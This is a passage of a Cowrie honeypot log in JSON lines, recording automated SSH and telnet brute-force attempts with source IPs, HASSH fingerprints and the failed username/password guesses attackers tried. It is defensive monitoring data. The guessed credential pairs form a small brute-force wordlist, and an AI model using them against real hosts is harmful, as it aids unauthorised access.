16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:32.781725Z","src_ip":"103.82.36.79","session":"9e529aa5200a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:33.514832Z","src_ip":"103.82.36.79","session":"9e529aa5200a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:34.760725Z","src_ip":"103.82.36.79","session":"9e529aa5200a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":45646,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d33b2c93b7","protocol":"ssh","message":"New connection: 166.62.35.226:45646 (159.203.135.109:22) [session: 92d33b2c93b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:45.158459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:45.162246Z","src_ip":"166.62.35.226","session":"92d33b2c93b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:45.226597Z","src_ip":"166.62.35.226","session":"92d33b2c93b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghana","password":"Accra#Bitc0!n$M@st3r99","message":"login attempt [ghana/Accra#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:45.423196Z","src_ip":"166.62.35.226","session":"92d33b2c93b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:46.490173Z","src_ip":"166.62.35.226","session":"92d33b2c93b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39974,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9489ad67634","protocol":"ssh","message":"New connection: 103.122.221.179:39974 (10.17.0.5:22) [session: e9489ad67634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:49.776833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:49.780362Z","src_ip":"103.122.221.179","session":"e9489ad67634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:50.041682Z","src_ip":"103.122.221.179","session":"e9489ad67634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260880","message":"login attempt [root/260880] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:50.819962Z","src_ip":"103.122.221.179","session":"e9489ad67634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:52.082364Z","src_ip":"103.122.221.179","session":"e9489ad67634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":40704,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b50f9e2034","protocol":"ssh","message":"New connection: 192.169.249.148:40704 (159.203.135.109:22) [session: a7b50f9e2034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:55.251579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:55.255473Z","src_ip":"192.169.249.148","session":"a7b50f9e2034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:55.321240Z","src_ip":"192.169.249.148","session":"a7b50f9e2034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portmoresby_papua","password":"portmoresby123","message":"login attempt [portmoresby_papua/portmoresby123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:55.517134Z","src_ip":"192.169.249.148","session":"a7b50f9e2034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:32:56.583437Z","src_ip":"192.169.249.148","session":"a7b50f9e2034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":47692,"dst_ip":"159.203.135.109","dst_port":22,"session":"763fc552d609","protocol":"ssh","message":"New connection: 66.29.142.197:47692 (159.203.135.109:22) [session: 763fc552d609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:07.933678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:07.937361Z","src_ip":"66.29.142.197","session":"763fc552d609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:08.008504Z","src_ip":"66.29.142.197","session":"763fc552d609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thegraph","password":"graph456","message":"login attempt [thegraph/graph456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:08.208694Z","src_ip":"66.29.142.197","session":"763fc552d609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:09.275335Z","src_ip":"66.29.142.197","session":"763fc552d609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":41122,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d9ddf45ccf","protocol":"ssh","message":"New connection: 91.92.40.11:41122 (10.17.0.5:22) [session: 90d9ddf45ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:20.708541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:21.147468Z","src_ip":"91.92.40.11","session":"90d9ddf45ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:21.150170Z","src_ip":"91.92.40.11","session":"90d9ddf45ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:22.394972Z","src_ip":"91.92.40.11","session":"90d9ddf45ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:23.718760Z","src_ip":"91.92.40.11","session":"90d9ddf45ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01123595237732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:33:36.181835Z","src_ip":"183.91.11.226","session":"fc02dbcf522f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":42202,"dst_ip":"159.203.135.109","dst_port":22,"session":"9157b3d54e3c","protocol":"ssh","message":"New connection: 165.22.184.88:42202 (159.203.135.109:22) [session: 9157b3d54e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:07.929487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:07.935801Z","src_ip":"165.22.184.88","session":"9157b3d54e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:07.940207Z","src_ip":"165.22.184.88","session":"9157b3d54e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algorand","password":"algorand123","message":"login attempt [algorand/algorand123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:07.953424Z","src_ip":"165.22.184.88","session":"9157b3d54e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:08.960114Z","src_ip":"165.22.184.88","session":"9157b3d54e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":43442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1e6ed966c3a","protocol":"ssh","message":"New connection: 91.92.40.11:43442 (10.17.0.5:22) [session: f1e6ed966c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:11.772705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:11.952683Z","src_ip":"91.92.40.11","session":"f1e6ed966c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:11.955487Z","src_ip":"91.92.40.11","session":"f1e6ed966c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:13.019125Z","src_ip":"91.92.40.11","session":"f1e6ed966c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:14.221203Z","src_ip":"91.92.40.11","session":"f1e6ed966c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15dd7fc86e1","protocol":"telnet","message":"New connection: 72.167.226.244:37022 (10.17.0.5:23) [session: e15dd7fc86e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:23.052484Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":33096,"dst_ip":"159.203.135.109","dst_port":22,"session":"faba5557538c","protocol":"ssh","message":"New connection: 143.20.185.207:33096 (159.203.135.109:22) [session: faba5557538c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:42.165805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:42.169025Z","src_ip":"143.20.185.207","session":"faba5557538c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:42.283083Z","src_ip":"143.20.185.207","session":"faba5557538c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS4VCPU8GBAMD","message":"login attempt [root/undefinedVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:34:42.624893Z","src_ip":"143.20.185.207","session":"faba5557538c","protocol":"ssh"}
